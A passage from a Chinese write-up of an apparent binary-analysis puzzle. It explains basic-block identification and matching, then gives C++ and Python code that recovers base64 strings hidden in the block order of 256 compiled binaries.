第三种:
ret

假如要跳转的位置刚好就是下一个块,那么会省掉一个跳转指令。不过在这种情况下,下一个块一定也有别的地方会跳转进来。

根据这些原则,就能识别出所有的块了,并且和 llvm ir 中的一一对应。

基本块的匹配

但是,求出基本块之后,还需要把每个函数中的基本块,和原始程序进行匹配。

我用的基本方法是,按照每个块里面除去 mov jmp 的指令拿出来,如果两块剩下的指令类型和个数相等,则匹配上。

还有一些此方法匹配不上的,则通过跳转关系来匹配,具体可以看代码。

MT19937 变换表

由于在 Python 中实现 MT19937 不太方便,于是我想用 C++ 把所有的变换表都求了出来:

#include<bits/stdc++.h>

int main()
{
	for(int g=0;g<64;g++){
		std::mt19937 ran(g);
		std::vector<int>a;
		for(int i=0;i<(g%32)*6;i++)a.push_back(i);
		std::shuffle(a.begin(),a.end(),ran);
		if(!a.size())a.push_back(-1);
		for(int i=0;i<a.size();i++)printf("%d%c",a[i],i+1==a.size()?'\n':' ');
	}
}

解题脚本

import subprocess


def disasm(fn):
    s = subprocess.getoutput('objdump -M intel -d ' + fn).split('\n')
    res = []
    i = 0
    while 'Disassembly of section .text:' not in s[i]:
        i += 1
    i += 3
    funcs = []
    while s[i]:
        addr = int(s[i][:8].strip(), 16)
        insn = s[i][32:].strip()
        if s[i + 1] and not s[i + 1][32:]:
            if not s[i + 2][32:]:
                i += 3
            else:
                i += 2
        else:
            i += 1
        if '#' in insn:
            insn = insn.split('#')[0].strip()
        if ' ' in insn:
            a, b = insn.split(' ', 1)
            a, b = a.strip(), b.strip().split(',')
        else:
            a = insn
            b = list()
        # print(hex(addr), a, b)
        cur = (addr, a, b)
        if a == 'sub' and b[0] == 'rsp':
            funcs.append([])
        if len(funcs):
            funcs[-1].append(cur)
    return funcs


def get_blocks(func, fmap):
    is_block_start = [False] * len(func)
    reachable = [False] * len(func)
    is_block_start[0] = True
    reachable[0] = True
    insn_map = {}
    for i, (addr, *_) in enumerate(func):
        insn_map[addr] = i
    for i, (addr, op, args) in enumerate(func):
        # print(hex(addr), op)
        if op == 'jmp' or op == 'ret':
            if i + 1 < len(func):
                is_block_start[i + 1] = True
        if op[0] == 'j':
            # print(args[0])
            if ' ' in args[0]:
                t = args[0].split(' ', 1)[0]
            else:
                t = args[0]
            t = int(t, 16)
            args[0] = t
            if t >= 0x1100:
                is_block_start[insn_map[t]] = True
            if i + 1 < len(func):
                is_block_start[i + 1] = True
    q = [0]
    while len(q):
        i = q.pop(0)
        addr, op, args = func[i]
        if op[0] == 'j':
            if args[0] >= 0x1100 and not reachable[insn_map[args[0]]]:
                reachable[insn_map[args[0]]] = True
                q.append(insn_map[args[0]])
        if op != 'jmp' and op != 'ret':
            if i + 1 < len(func) and not reachable[i + 1]:
                reachable[i + 1] = True
                q.append(i + 1)
    blocks = []
    bid = []
    for i, (addr, op, args) in enumerate(func):
        if is_block_start[i]:
            blocks.append({
                'insn_count': {},
                'to': set(),
                'from': set(),
                'start': hex(addr),
            })
        bid.append(len(blocks) - 1)
        if op != 'jmp':
            ic = blocks[-1]['insn_count']
            to = op
            if op[0] == 'j':
                to = 'j'
            elif op == 'mov' and args[-1] == '0xa8':
                to = '_mov_0xa8'
            if to not in ic:
                ic[to] = 0
            ic[to] += 1
    for i, (addr, op, args) in enumerate(func):
        if op != 'jmp' and op != 'ret' and i + 1 < len(func) and bid[i + 1] != bid[i]:
            blocks[bid[i]]['to'].add(bid[i + 1])
            blocks[bid[i + 1]]['from'].add(bid[i])
        if op[0] == 'j':
            if args[0] >= 0x1100:
                j = insn_map[args[0]]
                blocks[bid[i]]['to'].add(bid[j])
                blocks[bid[j]]['from'].add(bid[i])
    blocks2 = []
    bmap = {}
    for i, (addr, op, args) in enumerate(func):
        if is_block_start[i]:
            # print(i, reachable[i], blocks[bi])
            if reachable[i] and len(blocks[bid[i]]['insn_count']):
                blocks2.append(blocks[bid[i]])
                bmap[bid[i]] = len(blocks2) - 1
            else:
                x = bid[i]
                xto = blocks[x]['to']
                xfrom = blocks[x]['from']
                # print(xto, xfrom)
                assert len(xto) <= 1 and len(xfrom) <= 1
                for y in xto:
                    blocks[y]['from'].remove(x)
                for y in xfrom:
                    blocks[y]['to'].remove(x)
                for y in xfrom:
                    for z in xto:
                        blocks[y]['to'].add(z)
                        blocks[z]['from'].add(y)
    for b in blocks2:
        if 'mov' in b['insn_count']:
            b['insn_count'].pop('mov')
        b['from'] = {bmap[x]for x in b['from']}
        b['to'] = {bmap[x]for x in b['to']}
    return blocks2


def process_asm(s):
    func_map = {}
    for i, func in enumerate(s):
        func_map[func[0][0]] = i
    res = []
    for func in s:
        res.append(get_blocks(func, func_map))
    return res


def dict_match(a, b):
    for x in a:
        if x not in b:
            return False
    for x in b:
        if x not in a:
            return False
        if a[x] != b[x]:
            return False
    return True


def match_blocks(a, b):
    if 0:
        for i, x in enumerate(a):
            print(i, x)
        print()
        for i, x in enumerate(b):
            print(i, x)
        print()
        # exit()
    assert len(a) == len(b)
    r = []
    for i in range(len(b)):
        qq = []
        for j in range(len(a)):
            if dict_match(a[j]['insn_count'], b[i]['insn_count']):
                qq.append(j)
        # print(i, len(qq))
        assert len(qq)
        r.append(qq)

    def matchft(a, b):
        if len(a) != len(b):
            return False
        if not len(a):
            return True
        for i in range(len(b)):
            if a[0] in r[b[i]]:
                if matchft(a[1:], b[:i] + b[i + 1:]):
                    return True
        return False
    while True:
        if all(len(x) == 1 for x in r):
            return [x[0]for x in r]
        for i in range(len(b)):
            if len(r[i]) == 1:
                continue
            nr = []
            for j in r[i]:
                for _ in range(1):
                    if not matchft(list(a[j]['from']), list(b[i]['from'])):
                        break
                    if not matchft(list(a[j]['to']), list(b[i]['to'])):
                        break
                    nr.append(j)
            assert len(nr)
            r[i] = nr
        # print(r)


table = b'\x00\x00\x01\x02\x04\x06\t\x0c\x0f\x12\x15\x19\x1c $(,048=AEJOSX]afkpuz\x7f\x00\x00\x00\x00\x00\x00\x00\x00'
b64_id = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff9\x14\xff\x04\x0b-&+8\'\xff\xff\xff\xff\xff\xff\xff\x06$)?\x0c\x15:\n(!;6\x0f\x03\x1f\x05/\x19=\x02\x1a"\t5\x12\x01\xff\xff\xff\xff\x1d\xff7\x002\x08.\x11\x13#\x07>4\x10< ,\r\x16*3%\x1e\x180\x17\x0e\x1b1\xff\x1c\xff\xff'
b64_table = [None] * 64
for i in range(128):
    if b64_id[i] < 64:
        b64_table[b64_id[i]] = chr(i)


def match_binaries(a, b):
    assert len(a) == len(b)
    res = 0
    cur = 0
    max_bits = 114514
    seed = -1
    for i in range(len(a)):
        perm = match_blocks(a[i], b[i])
        rem = list(range(1, len(perm)))
        assert perm[0] == 0
        si = []
        perm = perm[:35]
        for j in range(1, len(perm)):
            k = 0
            while rem[k] != perm[j]:
                k += 1
            rem = rem[:k] + rem[k + 1:]
            si.append(k)
        r = 0
        for j in range(len(si)):
            r = r * (len(si) - j) + si[j]
        # print('###########', i, len(a[i]), len(perm), si, r)
        # print(perm)
        nbits = table[len(perm) - 1]
        if i == 0:
            assert nbits == 25
            seed = r >> 19
            max_bits = (seed % 32 + 1) * 6
        nbits = min(nbits, max_bits - cur)
        assert r < 2**nbits
        if len(perm) > 3 and nbits:
            for j in range(nbits):
                res += (r >> nbits - j - 1 & 1) << cur
                cur += 1
            # print(len(perm), nbits, cur)
            # print(r, nbits)
    return seed, res


if __name__ == '__main__':
    perm = []
    for line in open('perm.txt').readlines():
        perm.append(list(map(int, line.split(' '))))

    raw = disasm('raw')
    rawp = process_asm(raw)

    for binary_id in range(1, 257):
        test = disasm('binaries/' + str(binary_id))
        # test = disasm('btest/' + str(binary_id))
        testp = process_asm(test)
        seed, a = match_binaries(rawp, testp)
        p = perm[seed]
        n = (seed % 32) * 6
        # print(len(p), n)
        t = [0] * n
        for i in range(n):
            t[p[i]] = a >> i + 6 & 1
        r = ''
        for i in range(n // 6):
            v = 0
            for j in range(6):
                v += t[i * 6 + j] << 5 - j
            r += b64_table[v]
        print(r)
        open('ans.txt', 'a').write(r + '\n')